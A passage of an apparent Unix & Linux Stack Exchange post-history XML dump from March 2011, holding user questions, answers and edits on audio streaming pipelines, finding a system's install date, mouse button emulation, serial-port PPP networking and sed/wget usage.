incoming stream, and pipes it to:&#xD;&#xA;&gt; 2. Command line tool that extracts the MP3 data to WAV format, for example&#xD;&#xA;&gt; lame with option --decode.&#xD;&#xA;&gt; 3. Stereo Tool.&#xD;&#xA;&gt; 4. Program that encodes WAV to MP3 data, for example lame.&#xD;&#xA;&gt; 5. Program that streams this, which can handle a pipe as input.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Step 1+2 could be replaced by:&#xD;&#xA;&gt; 'arecord', linked using 'jack' to a&#xD;&#xA;&gt; program that receives and plays an&#xD;&#xA;&gt; incoming stream&#xD;&#xA;&gt; &#xD;&#xA;&gt; Similarly, step 5 could be replaced&#xD;&#xA;&gt; by: 'aplayer', linked using 'jack' to&#xD;&#xA;&gt; a program that streams audio data.&#xD;&#xA;&#xD;&#xA;I do understand what he has said, and I could proably do this if I was using a local install with a GUI and a sound card. But, with me not being majorly familiar with Linux command line, and not having a sound card, I am at a loss as to how something like this could be implemented.&#xD;&#xA;&#xD;&#xA;I am totally lost to be honest, and would appreciate some insight from you linux guru's on how to configure something like this. It's mainly the input and output im struggling with.&#xD;&#xA;&#xD;&#xA;Thanks in advance for any help.&#xD;&#xA;&#xD;&#xA;Dave" />
  <row Id="23842" PostHistoryTypeId="1" PostId="9970" RevisionGUID="89a3018d-4685-4464-ba57-d3f5d7d54b75" CreationDate="2011-03-23T16:26:31.227" UserId="5983" Text="Reading audio stream data from internet radio and pushing it to temporary file." />
  <row Id="23843" PostHistoryTypeId="3" PostId="9970" RevisionGUID="89a3018d-4685-4464-ba57-d3f5d7d54b75" CreationDate="2011-03-23T16:26:31.227" UserId="5983" Text="écentosàéaudioàéstreamingà" />
  <row Id="23844" PostHistoryTypeId="5" PostId="8823" RevisionGUID="d25ff2b1-6aa9-46d6-ac30-9ae261da134d" CreationDate="2011-03-23T16:31:01.520" UserId="5289" Comment="added 755 characters in body" Text="Is there a good GUI-application (for example an mplayer GUI or something like banshee) for linux which allows to make and edit playlists (for video files) with different starting and stopping times for each video on the list?&#xD;&#xA;&#xD;&#xA;**Added**:&#xD;&#xA;&#xD;&#xA;At the moment I make manually files which contain something like that:&#xD;&#xA;&#xD;&#xA;video.avi -ss 2440 -endpos 210 #some comment&#xD;&#xA;&#xD;&#xA;video2.mp4 -ss 112 -endpos 2112&#xD;&#xA;&#xD;&#xA;Then I have a wrapper script for: mplayer -fs $(grep -v &quot;^ #&quot; $1)&#xD;&#xA;&#xD;&#xA;Furthermore I have written some emacs functions which simplify the editing of such files a little bit. (Like converting starting and end time from hh:mm:ss format to seconds and endtime to relative position (endtime - starttime) as required by -endpos (I can post the macros if someone is interested). However, that's still too uncomfortable. So my question is if there is a nice GUI for doing this (for example which allows you to mark in a video timeline the start and end times for the playlist and so on).&#xD;&#xA;" />
  <row Id="23845" PostHistoryTypeId="4" PostId="9949" RevisionGUID="6a56985c-2e96-41ae-8828-63c6452471e1" CreationDate="2011-03-23T16:31:50.893" UserId="2466" Comment="typo......" Text="Kernel - Starting the application" />
  <row Id="23846" PostHistoryTypeId="24" PostId="9949" RevisionGUID="6a56985c-2e96-41ae-8828-63c6452471e1" CreationDate="2011-03-23T16:31:50.893" Comment="Proposed by 2466 approved by -1 edit id of 225" />
  <row Id="23847" PostHistoryTypeId="5" PostId="9949" RevisionGUID="686d585b-2629-42c1-bc09-d99b6367b658" CreationDate="2011-03-23T16:31:51.270" UserId="73" Comment="deleted 56 characters in body" Text="I placed the uBoot loader and the kernel into the raw flash image. This does not contain any root file system. (I copied uBoot and kernel image using dd command to a flash image).&#xD;&#xA;&#xD;&#xA;Now i have to change my kernel as to start my application at a particular address which was located in my flash image.&#xD;&#xA;&#xD;&#xA;How can I change the kernel to start my application on its own?&#xD;&#xA;" />
  <row Id="23848" PostHistoryTypeId="2" PostId="9971" RevisionGUID="dbd410ee-bfd3-4d7b-9aca-b31aaa573733" CreationDate="2011-03-23T16:40:47.843" UserId="4518" Text="How can I find the age of a Linux system, provided that nobody has tried to hide it?" />
  <row Id="23849" PostHistoryTypeId="1" PostId="9971" RevisionGUID="dbd410ee-bfd3-4d7b-9aca-b31aaa573733" CreationDate="2011-03-23T16:40:47.843" UserId="4518" Text="How to find the age of a Linux system?" />
  <row Id="23850" PostHistoryTypeId="3" PostId="9971" RevisionGUID="dbd410ee-bfd3-4d7b-9aca-b31aaa573733" CreationDate="2011-03-23T16:40:47.843" UserId="4518" Text="élinuxà" />
  <row Id="23851" PostHistoryTypeId="2" PostId="9972" RevisionGUID="84081125-65a2-4c55-b648-ed5c9897fb7f" CreationDate="2011-03-23T16:42:20.353" UserId="2671" Text="If you want to add color to output but only when colors are supported, you can simply use `tput`. http://tldp.org/HOWTO/Bash-Prompt-HOWTO/x405.html" />
  <row Id="23852" PostHistoryTypeId="5" PostId="9971" RevisionGUID="da78f4f0-e784-473e-a4fd-5b69933a81c5" CreationDate="2011-03-23T16:48:59.413" UserId="4518" Comment="added 24 characters in body" Text="How can I find the time since a Linux system was first installed, provided that nobody has tried to hide it?" />
  <row Id="23853" PostHistoryTypeId="2" PostId="9973" RevisionGUID="5e1b4983-3807-4527-8a91-adfda799708e" CreationDate="2011-03-23T16:49:36.497" UserId="2671" Text="I was using the mouse copy-paste extensively, until recently, when some OpenSuSe upgrade reconfigured this on all my machines. Now the scrollbuton is the one to paste (which I hate, since it's hard to click without scrolling, and I also click it sometimes accidentally).&#xD;&#xA;&#xD;&#xA;Where is this configured? Ideally I would love something that I can add to session start (for both Gnome and KDE).&#xD;&#xA;&#xD;&#xA;" />
  <row Id="23854" PostHistoryTypeId="1" PostId="9973" RevisionGUID="5e1b4983-3807-4527-8a91-adfda799708e" CreationDate="2011-03-23T16:49:36.497" UserId="2671" Text="Configuring mouse for right+left button simulating middle click (for copy/paste)" />
  <row Id="23855" PostHistoryTypeId="3" PostId="9973" RevisionGUID="5e1b4983-3807-4527-8a91-adfda799708e" CreationDate="2011-03-23T16:49:36.497" UserId="2671" Text="éxorgàégnomeàékdeàéconfigurationàémouseà" />
  <row Id="23856" PostHistoryTypeId="2" PostId="9974" RevisionGUID="6fadc9d4-57d1-46b1-9e12-708b106fa705" CreationDate="2011-03-23T16:51:00.707" UserId="5914" Text="Hello, everyone!&#xD;&#xA;&#xD;&#xA;I have an old Toshiba Satellite 4015CDT, with Pentium II MMX, 32MB RAM, 4GB HDD. It also has one USB 1.0 port, parallel and serial ports, a 3.5&quot; floppy drive and a CD-ROM drive (almost dead). Also, NetBSD 5.1 is installed on the machine.*&#xD;&#xA;&#xD;&#xA;Is it possible to connect the NetBSD machine to a Windows machine (Windows XP) through a serial port, so that the Windows machine will serve as a gateway to the Internet for the NetBSD machine? If so, how?&#xD;&#xA;&#xD;&#xA;If it is of any help, [here][1] is the page from the NetBSD documentation on serial connections.&#xD;&#xA;&#xD;&#xA;I would very much appreciate any help on this matter. Thanks in advance.&#xD;&#xA;&#xD;&#xA;**This is the same computer as in [here][2].*&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.netbsd.org/docs/guide/en/chap-net-practice.html#chap-net-practice-p2p-via-serial&#xD;&#xA;  [2]: http://unix.stackexchange.com/q/9744" />
  <row Id="23857" PostHistoryTypeId="1" PostId="9974" RevisionGUID="6fadc9d4-57d1-46b1-9e12-708b106fa705" CreationDate="2011-03-23T16:51:00.707" UserId="5914" Text="NetBSD Serial Port Gateway" />
  <row Id="23858" PostHistoryTypeId="3" PostId="9974" RevisionGUID="6fadc9d4-57d1-46b1-9e12-708b106fa705" CreationDate="2011-03-23T16:51:00.707" UserId="5914" Text="énetworkingàénetbsdàéserialöportà" />
  <row Id="23859" PostHistoryTypeId="2" PostId="9975" RevisionGUID="52f624eb-7cec-48ac-9963-e72fb3b8ab23" CreationDate="2011-03-23T16:51:07.260" UserId="5986" Text="When i run phpuml on command line i get many of these errors...&#xD;&#xA;what can i do?&#xD;&#xA;what did i wrong?&#xD;&#xA;&#xD;&#xA;    Warning: Invalid argument supplied for foreach() in /usr/share/php/PHP/UML/Input/PHP/Parser.php on line 1280&#xD;&#xA;    &#xD;&#xA;    Call Stack:&#xD;&#xA;        0.0006      76156   1. {main}() /usr/bin/phpuml:0&#xD;&#xA;        0.0377     967920   2. PHP_UML-&gt;parse() /usr/bin/phpuml:85&#xD;&#xA;        0.0482    1429680   3. PHP_UML_FileScanner-&gt;scan() /usr/share/php/PHP/UML.php:329&#xD;&#xA;        0.0490    1461376   4. PHP_UML_FileScannerImpl-&gt;tickFile() /usr/share/php/PHP/UML/FileScanner.php:111&#xD;&#xA;        0.0491    1461512   5. PHP_UML_Input_PHP_Parser::parse() /usr/share/php/PHP/UML/FileScannerImpl.php:58&#xD;&#xA;        0.0517    1557324   6. PHP_UML_Input_PHP_Parser::tBody() /usr/share/php/PHP/UML/Input/PHP/Parser.php:193&#xD;&#xA;        0.0517    1557788   7. PHP_UML_Input_PHP_Parser::tDefine() /usr/share/php/PHP/UML/Input/PHP/Parser.php:773&#xD;&#xA;        0.0518    1558284   8. PHP_UML_Input_PHP_Parser::tAttribute() /usr/share/php/PHP/UML/Input/PHP/Parser.php:882&#xD;&#xA;        0.0527    1568520   9. PHP_UML_Input_PHP_Parser::setElementFeatures() /usr/share/php/PHP/UML/Input/PHP/Parser.php:364" />
  <row Id="23860" PostHistoryTypeId="1" PostId="9975" RevisionGUID="52f624eb-7cec-48ac-9963-e72fb3b8ab23" CreationDate="2011-03-23T16:51:07.260" UserId="5986" Text="pears php_uml throws errors" />
  <row Id="23861" PostHistoryTypeId="3" PostId="9975" RevisionGUID="52f624eb-7cec-48ac-9963-e72fb3b8ab23" CreationDate="2011-03-23T16:51:07.260" UserId="5986" Text="éutilitiesàéphpà" />
  <row Id="23862" PostHistoryTypeId="2" PostId="9976" RevisionGUID="599b65ac-1785-4aa7-95cd-f50e9c262e3e" CreationDate="2011-03-23T16:59:38.063" UserId="2671" Text="As requested by OP.&#xD;&#xA;&#xD;&#xA;If you are looking for the time, when the system was setup, there isn't a way to determine that. For one, the system might have been cloned (not installed) which would effectively fake the file creation time.&#xD;&#xA;&#xD;&#xA;You can estimate the age by searching for oldest files." />
  <row Id="23863" PostHistoryTypeId="2" PostId="9977" RevisionGUID="7b0bf2e6-0a3f-4e37-ad62-32179fee77d4" CreationDate="2011-03-23T17:02:38.257" UserId="4778" Text="There are a few dates lying around.&#xD;&#xA;&#xD;&#xA;- All files have dates.&#xD;&#xA;- Log files have dates in them.&#xD;&#xA;&#xD;&#xA;see `/var/log/installer/syslog` for the definitive answer if it exists it is part of the log of the instillation.&#xD;&#xA;&#xD;&#xA;But beware this is not guaranteed. (see other answers/comments for some of the reasons it may not work.)" />
  <row Id="23864" PostHistoryTypeId="2" PostId="9978" RevisionGUID="ca537e71-19e1-477f-8da6-4fd862e0ddc6" CreationDate="2011-03-23T17:11:58.380" UserId="5763" Text="In Fedora, anaconda 9nstaller stores the config details of your install in root's home folder, that can give you some idea." />
  <row Id="23865" PostHistoryTypeId="25" PostId="9971" RevisionGUID="d1f90c75-b1a1-414c-a058-ede59f157398" CreationDate="2011-03-23T17:31:32.777" Comment="http://twitter.com/#!/StackUnix/status/50610644952690688" />
  <row Id="23866" PostHistoryTypeId="5" PostId="9978" RevisionGUID="fa36c12d-341b-474e-b9b6-335341075e77" CreationDate="2011-03-23T17:40:28.963" UserId="2511" Comment="edited body" Text="In Fedora, anaconda installer stores the config details of your install in root's home folder, that can give you some idea." />
  <row Id="23867" PostHistoryTypeId="4" PostId="9971" RevisionGUID="07d65a12-227b-48e8-a8a4-b48c26d7be62" CreationDate="2011-03-23T17:44:23.173" UserId="2511" Comment="edited tags; edited title" Text="How do I find how long ago a Linux system was installed?" />
  <row Id="23868" PostHistoryTypeId="6" PostId="9971" RevisionGUID="07d65a12-227b-48e8-a8a4-b48c26d7be62" CreationDate="2011-03-23T17:44:23.173" UserId="2511" Comment="edited tags; edited title" Text="élinuxàésystemöinstallationà" />
  <row Id="23869" PostHistoryTypeId="2" PostId="9979" RevisionGUID="d4d60dd0-291c-4e52-922e-97a711b096c2" CreationDate="2011-03-23T17:52:53.180" UserId="2511" Text="I think you're going to need to have a filesystem on that flash, or else modify the kernel. You'll need to mount that as your root fs, and then pass the path to your program as a kernel parameter — `init=/bin/yourbinary`. " />
  <row Id="23870" PostHistoryTypeId="2" PostId="9980" RevisionGUID="d020678f-997e-42ed-8bf4-855e26f28b4b" CreationDate="2011-03-23T18:05:42.150" UserId="4671" Text="It is configured in /etc/X11/xorg.conf.&#xD;&#xA;&#xD;&#xA;You'll see a section that looks like&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    Section &quot;InputDevice&quot;&#xD;&#xA;            Identifier      &quot;Configured Mouse&quot;&#xD;&#xA;            Driver          &quot;mouse&quot;&#xD;&#xA;            Option          &quot;CorePointer&quot;&#xD;&#xA;            Option          &quot;Device&quot;                &quot;/dev/input/mice&quot;&#xD;&#xA;            Option          &quot;Protocol&quot;              &quot;ImPS/2&quot;&#xD;&#xA;            Option          &quot;Emulate3Buttons&quot;       &quot;true&quot;&#xD;&#xA;    EndSection&#xD;&#xA;&#xD;&#xA;Here is a random vaguely relevant link from SU.&#xD;&#xA;&#xD;&#xA;http://superuser.com/questions/258649/multi-button-mouse-on-x11-how-can-i-configure-several-buttons-to-act-as-the-midd&#xD;&#xA;" />
  <row Id="23871" PostHistoryTypeId="2" PostId="9981" RevisionGUID="9da42427-8811-41cb-ade1-7ec5cf9b7219" CreationDate="2011-03-23T18:09:58.097" UserId="5664" Text="How can i delete a line, if it's longer then e.g.: 2048 chars?" />
  <row Id="23872" PostHistoryTypeId="1" PostId="9981" RevisionGUID="9da42427-8811-41cb-ade1-7ec5cf9b7219" CreationDate="2011-03-23T18:09:58.097" UserId="5664" Text="How to delete line if longer then XY?" />
  <row Id="23873" PostHistoryTypeId="3" PostId="9981" RevisionGUID="9da42427-8811-41cb-ade1-7ec5cf9b7219" CreationDate="2011-03-23T18:09:58.097" UserId="5664" Text="élinuxàésedà" />
  <row Id="23874" PostHistoryTypeId="2" PostId="9982" RevisionGUID="c2415f5b-a5f6-4cda-9698-aafbc4465903" CreationDate="2011-03-23T18:26:08.380" UserId="5666" Text="    sed '/^.\{2048\}.\+/d' input.txt &gt; output.txt" />
  <row Id="23875" PostHistoryTypeId="2" PostId="9983" RevisionGUID="9effb66d-c660-4bc4-ace6-c2bc3587d78f" CreationDate="2011-03-23T18:33:40.153" UserId="4671" Text="Something like this should work in Python.&#xD;&#xA;&#xD;&#xA;    of = open(&quot;orig&quot;)&#xD;&#xA;    nf = open(&quot;new&quot;,'w')&#xD;&#xA;    for line in of:         &#xD;&#xA;        if len(line) &lt; 2048:&#xD;&#xA;            nf.write(line)&#xD;&#xA;    of.close()&#xD;&#xA;    nf.close()" />
  <row Id="23876" PostHistoryTypeId="5" PostId="9944" RevisionGUID="abdba864-b189-49a4-8ebe-40ef15c19247" CreationDate="2011-03-23T18:34:24.857" UserId="4856" Comment="added 238 characters in body" Text="My question is with regards to booting a Linux system from a separate /boot partition. If most configuration files are located on a separate / partition, how does the kernel correctly mount it at boot time?&#xD;&#xA;&#xD;&#xA;Any elaboration on this would be great. I feel as though I am missing something basic. I am mostly concerned with the process and order of operations.&#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;&#xD;&#xA;EDIT: I think what I needed to ask was more along the lines of the dev file that is used in the root kernel parameter. For instance, say I give my root param as root=/dev/sda2. How does the kernel have a mapping of the /dev/sda2 file?" />
  <row Id="23877" PostHistoryTypeId="2" PostId="9984" RevisionGUID="af480d64-c6fa-453f-9190-eff6844a4ee5" CreationDate="2011-03-23T18:37:43.230" UserId="1924" Text="do you know how can I check in maemoo maximal resolution, processor type and ram capacity?" />
  <row Id="23878" PostHistoryTypeId="1" PostId="9984" RevisionGUID="af480d64-c6fa-453f-9190-eff6844a4ee5" CreationDate="2011-03-23T18:37:43.230" UserId="1924" Text="maemoo - how to check some things" />
  <row Id="23879" PostHistoryTypeId="3" PostId="9984" RevisionGUID="af480d64-c6fa-453f-9190-eff6844a4ee5" CreationDate="2011-03-23T18:37:43.230" UserId="1924" Text="émaemoà" />
  <row Id="23880" PostHistoryTypeId="2" PostId="9985" RevisionGUID="3c27fe0f-a15e-4a32-97a5-32ee0b5a91ec" CreationDate="2011-03-23T18:40:27.223" UserId="5664" Text="Dear community:&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;if i &lt;br&gt;&#xD;&#xA;&#xD;&#xA;	wget 'http://beforeitsnews.com/stories/in/0000000000000013' -O -&#xD;&#xA;&#xD;&#xA;then i can't see the news..why?&lt;br&gt;&#xD;&#xA;How can i &quot;wget&quot; or &quot;curl&quot; this site, so that i can see the news on it?&lt;br&gt;&#xD;&#xA;I can't even browse it with elinks :(&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Thank you!" />
  <row Id="23881" PostHistoryTypeId="1" PostId="9985" RevisionGUID="3c27fe0f-a15e-4a32-97a5-32ee0b5a91ec" CreationDate="2011-03-23T18:40:27.223" UserId="5664" Text="How can i &quot;wget&quot; the content of this site" />
  <row Id="23882" PostHistoryTypeId="3" PostId="9985" RevisionGUID="3c27fe0f-a15e-4a32-97a5-32ee0b5a91ec" CreationDate="2011-03-23T18:40:27.223" UserId="5664" Text="élinuxàéwgetà" />
  <row Id="23884" PostHistoryTypeId="5" PostId="9985" RevisionGUID="45fe118a-20d0-4c37-8670-14a85e7f6043" CreationDate="2011-03-23T18:49:19.127" UserId="73" Comment="deleted 58 characters in body; added 2 characters in body" Text="If I run:&#xD;&#xA;&#xD;&#xA;    wget 'http://beforeitsnews.com/stories/in/0000000000000013' -O -&#xD;&#xA;&#xD;&#xA;I can't see the news...why? How can i `wget` or `curl` this site, so that i can see the news on it? I can't even browse it with `elinks` :(&#xD;&#xA;" />
  <row Id="23885" PostHistoryTypeId="2" PostId="9986" RevisionGUID="bd58d2ab-981c-4573-af5a-53b432e22caf" CreationDate="2011-03-23T18:58:18.703" UserId="5990" Text="Disabling ipv6 altogether on your machine until it is actually ready?" />
  <row Id="23886" PostHistoryTypeId="2" PostId="9987" RevisionGUID="7300f7ed-20fd-42fa-8729-6729bf3e21cf" CreationDate="2011-03-23T19:06:27.373" UserId="4667" Text="That site requires JavaScript to be enabled. None of the tools you mention can interpret JavaScript." />
  <row Id="23887" PostHistoryTypeId="2" PostId="9988" RevisionGUID="e1d9e5df-3486-471c-8982-87218b0ba113" CreationDate="2011-03-23T19:07:20.000" UserId="3389" Text="I've done this on Linux.  I had an old laptop that had no ethernet port, and I had no USB-ethernet port or PCMCIA ethernet adapters, but it did have a serial port.  You need a null modem cable, and your NetBSD needs to be running a PPP daemon (it's called `pppd` on Linux).&#xD;&#xA;&#xD;&#xA;You then set up serial port in Windows XP as a modem.  You need to go to the &quot;Phone and Modem Options&quot; in the Control Panel and create a new modem based on the COM port you want to use and set the baud rate, etc. options accordingly.  This then lets you use the &quot;modem&quot; as an Internet interface and you can enable Internet Connection sharing and all that good stuff.&#xD;&#xA;&#xD;&#xA;Only caveat is that Windows thinks it's dialing a modem, so it will send modem commands to the serial port that `pppd` normally wouldn't expect.  But you can use a chat script with `pppd` to basically tell `pppd` to pretend to be a modem to Windows.&#xD;&#xA;&#xD;&#xA;After all this, you'll have an interface `ppp0` or whatever NetBSD calls it forwarded through Windows Internet Connection Sharing running at the astonishing speed of 115Kbps.&#xD;&#xA;&#xD;&#xA;Basically, this script fragment is the essence of what I'm running on the Linux box.  $LOCAL_IP is the IP address of my router/DNS server, which is 10.0.0.1/24, and $LOCAL_NET_MASK is it's netmask which is 255.255.255.0 in this situation.  &#xD;&#xA;&#xD;&#xA;You need two consecutive IP addresses on the same subnet to form the &quot;tunnel&quot; that PPP depends on.  That is then your IP address on the NetBSD box.&#xD;&#xA;    &#xD;&#xA;    PPP_IFACE_ADDRESS=&quot;10.0.0.40:10.0.0.41&quot;&#xD;&#xA;    echo &quot;link: $TTY, IP interface: $PPP_IFACE_ADDRESS&quot;&#xD;&#xA;    pppd 115200 netmask $LOCAL_NET_MASK crtscts connect 'chat -v -f /etc/admin/network/winclient.chat' lock local ms-dns $LOCAL_IP ms-wins $LOCAL_IP persist proxyarp silent $PPP_IFACE_ADDRESS $TTY noauth&#xD;&#xA;    &#xD;&#xA;and `winclient.chat` contains this text:&#xD;&#xA;&#xD;&#xA;    TIMEOUT 3600&#xD;&#xA;    CLIENT CLIENTSERVER\c&#xD;&#xA;    &#xD;&#xA;with an extra newline at the end of it.&#xD;&#xA;&#xD;&#xA;But that's Linux.  Don't know if `pppd` works on NetBSD the same way.&#xD;&#xA;&#xD;&#xA;    &#xD;&#xA;     &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="23889" PostHistoryTypeId="5" PostId="9732" RevisionGUID="e167851a-40c6-45c2-ae6a-b88e2ba51676" CreationDate="2011-03-23T19:36:13.547" UserId="885" Comment="also suggest diverting cdda.mount" Text="I have no idea if there's a way to fix or cleanly disable `gvfsd-cdda`, but you can move it out of the way without running into trouble with the package manager.&#xD;&#xA;&#xD;&#xA;Debian (and more generally any distribution using `dpkg`) has a generic mechanism for providing your own version of a file that's normally under the package manager's control. If you find you must change `/usr/lib/gvfs/gvfsd-cdda` or `/usr/share/mounts/cdda.mount`, use `dpkg-divert` so that the package's version will be diverted to a different file name:&#xD;&#xA;&#xD;&#xA;    dpkg-divert --add --local --rename --divert /usr/lib/gvfs/gvfsd-cdda.debian /usr/lib/gvfs/gvfsd-cdda&#xD;&#xA;    ln -s /bin/true /usr/lib/gvfs/gvfsd-cdda&#xD;&#xA;&#xD;&#xA;or perhaps&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    dpkg-divert --add --local --rename --divert /usr/share/gvfs/mounts/cdda.mount.debian /usr/share/gvfs/mounts/cdda.mount&#xD;&#xA;" />
  <row Id="23890" PostHistoryTypeId="2" PostId="9989" RevisionGUID="b4db06da-812f-4902-b57d-0067d3a8dc18" CreationDate="2011-03-23T19:41:23.357" UserId="5824" Text="It's a full linux system, so in an xterm you can:&#xD;&#xA;&#xD;&#xA;    # cat /proc/cpuinfo&#xD;&#xA;    # cat /proc/meminfo&#xD;&#xA;&#xD;&#xA;For the resolution, it's 800x480.  But xdpyinfo doesn't exist on the system so I think you need to look in the X log file to get it." />
  <row Id="23891" PostHistoryTypeId="2" PostId="9990" RevisionGUID="39defa36-fb17-4131-bbad-77c562e078fe" CreationDate="2011-03-23T19:54:45.037" UserId="2827" Text="Check the date of the root filesystem with dumpe2fs.  I can't really think of how that could be anything other than the date you're looking for:&#xD;&#xA;&#xD;&#xA;    dumpe2fs $(mount | grep 'on \/ ' | awk '{print $1}') | grep 'Filesystem created:'&#xD;&#xA;&#xD;&#xA;" />
  <row Id="23892" PostHistoryTypeId="25" PostId="9981" RevisionGUID="c991dcbe-51c0-4c3e-a1cf-a94ef29a1059" CreationDate="2011-03-23T20:31:33.413" Comment="http://twitter.com/#!/StackUnix/status/50655945361063936" />
  <row Id="23893" PostHistoryTypeId="6" PostId="9981" RevisionGUID="c7f8a0b4-3342-42cd-bb69-9b31f26474fc" CreationDate="2011-03-23T20:45:26.497" UserId="885" Comment="edited tags" Text="ésedà" />
  <row Id="23894" PostHistoryTypeId="2" PostId="9991" RevisionGUID="b60f16b6-8216-4f70-8651-7b1d36b8a915" CreationDate="2011-03-23T20:53:21.237" UserId="5991" Text="I currently have a setup where I have an emergency server which on a scheduled basis grabs files from my main webserver using wget. If all goes well I want wget to clobber the old cached file. However, if the request returns 404 or something else goes wrong where data cannot be retrieved (e.g. my main server goes down), I don't want the cached data to get clobbered. I've tried using -N which correctly clobbers the data if a new version is available. However, if there is a 404 it clobbers that data with 0 byte files." />
  <row Id="23895" PostHistoryTypeId="1" PostId="9991" RevisionGUID="b60f16b6-8216-4f70-8651-7b1d36b8a915" CreationDate="2011-03-23T20:53:21.237" UserId="5991" Text="Configure wget to not clobber good data with empty data" />
  <row Id="23896" PostHistoryTypeId="3" PostId="9991" RevisionGUID="b60f16b6-8216-4f70-8651-7b1d36b8a915" CreationDate="2011-03-23T20:53:21.237" UserId="5991" Text="éwgetà" />
  <row Id="23897" PostHistoryTypeId="2" PostId="9992" RevisionGUID="2881a810-fe8e-4483-bfec-104b3963350a" CreationDate="2011-03-23T21:04:40.933" UserId="885" Text="You can set this property with `xinput`. Run `xinput list` to see the list of connected input devices. Note the exact name or the number of the device corresponding to your mouse (not the “Virtual core pointer”, but something like “Logitech USB-PS/2 Mouse M-BA47”). The name depends on your mouse model; I think the number is assigned dynamically, so you might need to do a bit of parsing to cope with multiple machines.&#xD;&#xA;&#xD;&#xA;Then (248 is the number of the property `Evdev Middle Button Emulation`, you can also use the name):&#xD;&#xA;&#xD;&#xA;    xinput set-prop &quot;$device_name_or_number&quot; 248 1&#xD;&#xA;&#xD;&#xA;While you're at it, you might want to tune other settings (run `xinput list-props &quot;$device_name_or_number&quot;` to see what settings exist). In particular, by default, I think the emulated middle button will be the same as the mouse wheel press, but that should be fixable by reassigning the wheel button (`Evdev Wheel Emulation Button`).&#xD;&#xA;&#xD;&#xA;See also [Configuring Input Devices on the Ubuntu wiki](https://wiki.ubuntu.com/X/Config/Input)." />
  <row Id="23898" PostHistoryTypeId="6" PostId="9949" RevisionGUID="0c2aa3ff-df8e-43fb-b0f8-57e28d042387" CreationDate="2011-03-23T21:06:29.933" UserId="885" Comment="edited tags" Text="élinuxàébootàéembeddedà" />
  <row Id="23899" PostHistoryTypeId="5" PostId="9778" RevisionGUID="cf34da20-c99f-40e4-b663-4a99eb98fd45" CreationDate="2011-03-23T21:07:11.137" UserId="916" Comment="markdown improvements" Text="On Ubuntu 10.10, which XML file under the directory `/usr/share/mime/applications` is for MIME type `text/html`?&#xD;&#xA;&#xD;&#xA;I checked `xml.xml` and `xhtml+xml.xml`, but neither has a glob pattern of `*.html`.&#xD;&#xA;So where is this file format entry? &#xD;&#xA;&#xD;&#xA;Thanks in advance!&#xD;&#xA;Amanda&#xD;&#xA;" />
  <row Id="23900" PostHistoryTypeId="24" PostId="9778" RevisionGUID="cf34da20-c99f-40e4-b663-4a99eb98fd45" CreationDate="2011-03-23T21:07:11.137" Comment="Proposed by 916 approved by 73 edit id of 226" />
  <row Id="23901" PostHistoryTypeId="2" PostId="9993" RevisionGUID="7fe7bd73-8806-4408-978f-608cb12dd0fb" CreationDate="2011-03-23T21:08:04.740" UserId="5993" Text="    tune2fs -l /dev/sda or /dev/sdb&#xD;&#xA;This will tell you when file system was created. " />
  <row Id="23902" PostHistoryTypeId="5" PostId="9967" RevisionGUID="9a162aae-7815-4cdd-b68d-7e9dc975614c" CreationDate="2011-03-23T21:13:09.667" UserId="885" Comment="added 2&gt;&amp;1 to redirect stderr to the log and filter as well" Text="    make &gt; log-file 2&gt;&amp;1&#xD;&#xA;or&#xD;&#xA; &#xD;&#xA;    make 2&gt;&amp;1 | tee log-file | filter&#xD;&#xA;&#xD;&#xA;Where filter is a program that passes only what you want to see. Use grep or sed or something else." />
  <row Id="23903" PostHistoryTypeId="2" PostId="9994" RevisionGUID="bf2833c0-d7d4-4ab5-b433-c3a8bc1581c9" CreationDate="2011-03-23T21:21:45.200" UserId="885" Text="The right explanation has already been given by [jsbillings](http://unix.stackexchange.com/questions/9954/why-is-my-variable-being-localized-in-one-while-read-loop-but-not-in-another-s/9955#9955) and [geekosaur](http://unix.stackexchange.com/questions/9954/why-is-my-variable-being-localized-in-one-while-read-loop-but-not-in-another-s/9955#comment-12840), but let me expand on that a bit.&#xD;&#xA;&#xD;&#xA;In most shells, including bash, each side of a pipeline runs in a subshell, so any change in the shell's internal state (such as setting variables) remains confined to that segment of a pipeline. The only information you can get from a subshell is what it outputs (to standard output and other file descriptors) and its exit code (which is a number between 0 and 255). For example, the following snippet prints 0:&#xD;&#xA;&#xD;&#xA;    a=0; a=1 | a=2; echo $a&#xD;&#xA;&#xD;&#xA;In ksh (the variants derived from the AT&amp;T code, not pdksh variants) and zsh, the last item in a pipeline is executed in the parent shell. (POSIX allows both behaviors.) So the snippet above prints 2.&#xD;&#xA;&#xD;&#xA;A useful idiom is to include the continuation of the while loop (or whatever you have on the right-hand side of the pipeline, but a while loop is actually common here) in the pipeline:&#xD;&#xA;&#xD;&#xA;    cat junk | {&#xD;&#xA;      while read var ; do x=55 ; done&#xD;&#xA;      echo x=$x &#xD;&#xA;    }&#xD;&#xA;" />
  <row Id="23904" PostHistoryTypeId="6" PostId="9954" RevisionGUID="43929485-60c3-4b4c-85a7-a71e95528336" CreationDate="2011-03-23T21:22:06.183" UserId="885" Comment="edited tags" Text="ébashàéshellöscriptàépipeà" />
  <row Id="23905" PostHistoryTypeId="5" PostId="5283" RevisionGUID="9647a484-2bf9-40a6-960a-458a94810160" CreationDate="2011-03-23T21:24:15.590" UserId="885" Comment="link to [tag:pipe] and [tag:io-redirection]" Text="The [shell](http://en.wikipedia.org/wiki/Shell_%28computing%29) is a program whose primary role is to enable the user to call *other* programs and make them interact. In a [unix](http://en.wikipedia.org/wiki/Unix_shell) context, a shell is almost always a command-line interpreter.&#xD;&#xA;&#xD;&#xA;More precisely, unless otherwise specified, a unix shell is compatible with the [POSIX / Single UNIX shell specification](http://pubs.opengroup.org/onlinepubs/009695399/idx/shell.html). Most unices have a such a shell available as `/bin/sh`.&#xD;&#xA;&#xD;&#xA;## Shell implementations&#xD;&#xA;&#xD;&#xA;### Main Bourne-style shells&#xD;&#xA;&#xD;&#xA;* The [Bourne shell](http://en.wikipedia.org/wiki/Bourne_shell) is one of the two surviving shells from the old days, now mostly superseded by various shells called ash, ksh and bash. The POSIX specification builds 